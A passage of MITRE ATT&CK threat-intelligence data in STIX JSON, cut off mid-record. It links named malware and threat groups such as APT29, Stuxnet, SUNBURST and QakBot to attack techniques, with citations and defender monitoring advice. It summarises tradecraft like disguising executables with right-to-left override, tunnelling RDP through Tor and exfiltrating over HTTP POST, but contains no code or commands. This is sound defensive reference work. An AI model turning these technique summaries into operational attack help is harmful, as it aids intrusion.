{"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5412525e-cba5-4fa1-89ff-7e6fa2b92e24", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-02-18T03:40:29.875Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) decodes embedded XOR strings.(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--541855dd-0249-4f63-8e95-0024f760484e", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.731Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. [Hydraq](https://attack.mitre.org/software/S0203)'s backdoor also enables remote attackers to modify and delete subkeys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "source_name": "Mandiant No Easy Breach"}, {"source_name": "MSTIC Nobelium Oct 2021", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}], "modified": "2022-03-25T19:34:14.073Z", "description": "A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a [Tor](https://attack.mitre.org/software/S0183) hidden service to forward traffic from the [Tor](https://attack.mitre.org/software/S0183) client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR.(Citation: Mandiant No Easy Breach)(Citation: MSTIC Nobelium Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}], "modified": "2019-04-24T23:40:23.513Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.(Citation: Unit 42 OilRig Sept 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--54260ee3-6cb4-43a2-a4a3-5b317d873759", "created": "2022-04-14T16:21:44.030Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Shadowbunny VM Defense Evasion", "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/", "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.", "modified": "2022-04-14T16:21:44.030Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", "description": "Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.", "source_name": "Palo Alto Retefe"}], "modified": "2021-08-16T17:50:50.467Z", "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) between connections to banking websites. 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PowerLess](https://attack.mitre.org/software/S1012) has the ability to exfiltrate data, including Chrome and Edge browser database files, from compromised machines.(Citation: Cybereason PowerLess February 2022)\n", "modified": "2022-06-02T20:47:48.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--543e5a1c-f278-4a5e-afbd-5684ac314ddf", "created": "2022-10-19T21:29:14.955Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:29:14.955Z", "description": "Monitor for newly constructed network connections to web and cloud services associated with abnormal or non-browser processes.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--543fe202-892b-4282-b691-090029b56b1f", "type": "relationship", "created": "2019-01-29T21:40:37.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. 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Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:52.962Z", "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--544b4f94-a1b6-49cd-adf8-c0b6499e8acd", "created": "2020-12-14T17:34:58.817Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T23:46:57.985Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) uses encrypted configuration blocks and writes encrypted files to disk.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--544cc12a-53c4-4a56-b480-bfc79beee93c", "created": "2019-09-10T14:30:31.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Carbon Black Shlayer Feb 2019", "description": "Carbon Black Threat Analysis Unit. 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Retrieved January 5, 2021.", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:51:41.410Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected device `UPTIME`.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54501ca8-7205-4b83-87cb-b2235bc0ec71", "type": "relationship", "created": "2021-09-28T19:47:10.887Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-11T17:43:50.352Z", "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has used right-to-left override to reverse executables\u2019 names to make them appear to have different file extensions, rather than their real ones.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. 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Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2020-03-20T18:07:11.552Z", "description": "Several [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) tools encode data with base64 when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--545efdec-5375-43e9-b369-0f6367b067dd", "created": "2022-02-01T15:08:45.245Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "AADInternals Documentation", "url": "https://o365blog.com/aadinternals", "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AADInternals](https://attack.mitre.org/software/S0677) can send phishing emails containing malicious links designed to collect users\u2019 credentials.(Citation: AADInternals Documentation)", "modified": "2022-04-18T17:22:04.756Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5463f157-7cab-4e9d-bb68-6179972087b6", "type": "relationship", "created": "2020-11-13T18:52:29.081Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}, {"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-11-13T21:33:02.513Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can use run keys and create link files in the startup folder for persistence.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--546bc8ea-9330-47a4-a5d1-d3fe89b1382b", "type": "relationship", "created": "2020-09-08T15:46:10.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne FrameworkPOS September 2019", "url": "https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/", "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}, {"source_name": "Crowdstrike Global Threat Report Feb 2018", "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"}, {"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-10-19T18:48:18.059Z", "description": "(Citation: SentinelOne FrameworkPOS September 2019)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "malware--1cdbbcab-903a-414d-8eb0-439a97343737", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--546cf516-55b1-49cf-9807-5752c222f906", "type": "relationship", "created": "2022-03-15T19:56:31.064Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.064Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has purchased hosting servers with virtual currency and prepaid cards.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7", "type": "relationship", "created": "2019-07-16T21:00:11.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-22T18:45:21.898Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5470513c-97dd-4f7f-9ebe-04037a18fe8c", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5473acfd-2cb3-45a8-97cb-c3962c606f1e", "type": "relationship", "created": "2020-11-16T19:36:31.572Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-16T19:36:31.572Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54784a8e-d827-4761-87ce-68ed55cc25f9", "created": "2021-03-05T18:54:56.634Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/"}, {"source_name": "Zscaler Higaisa 2020", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:19:33.795Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used Base64 encoded compressed payloads.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54785e03-e2dd-42f5-8b16-59eb2c039eb9", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--547b575e-bc3c-488a-ae38-8bf6387b33f5", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "sqlmap Introduction", "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.", "url": "http://sqlmap.org/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.(Citation: sqlmap Introduction)", "relationship_type": "uses", "source_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5481052b-e356-4cb4-873d-1822eef5930a", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Who Hid My Desktop", "description": "Safran, Or. Asinovsky, Pavel. (2017, November). Who Hid My Desktop: Deep Dive Into HVNC. Retrieved November 28, 2023.", "url": "https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-28T21:58:32.574Z", "description": "Monitor newly executed processes that may use hidden windows to conceal malicious activity from the plain sight of users. For example, monitor suspicious windows explorer execution \u2013 such as an additional <code>explorer.exe</code> holding a handle to an unknown desktop \u2013 that may be used for hidden malicious activity via hVNC.(Citation: Who Hid My Desktop) ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5483bd88-4073-4fc9-93c8-eb45da7f4d97", "created": "2023-03-22T05:19:43.224Z", "revoked": false, "external_references": [{"source_name": "Cyberint Qakbot May 2021", "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.", "url": "https://blog.cyberint.com/qakbot-banking-trojan"}, {"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:19:43.224Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can use obfuscated and encoded scripts.(Citation: Cyberint Qakbot May 2021)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", 